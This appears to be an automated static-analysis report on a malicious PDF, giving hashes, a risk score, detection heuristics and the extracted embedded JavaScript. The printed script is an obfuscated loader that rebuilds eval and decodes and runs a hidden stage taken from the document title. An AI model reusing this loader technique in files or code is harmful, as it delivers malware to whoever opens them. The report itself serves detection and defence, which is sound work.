Malicious PDF — malware analysis report

Static analysis result for SHA-256 9fcf2fe238e0c959…

MALICIOUS

PDF

44.5 KB First seen: 2026-05-09
MD5: dbc47129645e3b9df8885c59a7757811 SHA-1: ff44ff05126352bef4afac3fe2538d8e4b580ecb SHA-256: 9fcf2fe238e0c959f3929a52e1e073c75339b1b5c07a80f2e6d42f6f3de7411e
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript stream, named 'javascript_obj0001_000.js', is the primary indicator of malicious activity, likely serving as a downloader or initial execution vector for further payloads.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF69 438 bytes
SHA-256: 8edee89f85a00a1fdde5f82d3cf4ca3d70740813df7bd688938f0a76d1256b5b
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
lqev='';
oxcep=('qwrwqr','tit');
e('vxmz=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
ajd=e('String.fr'+vxmz.substr(0,10));
duf = e(vxmz.substr(10)['replace'](/u/g,','));
e('k=duf.length');
for (i = 0; i < k; i+=2) {
	rbiu = duf[i+1] + ('qweqwe',duf[i]);
	lqev += ajd(rbiu);
}
e(lqev);

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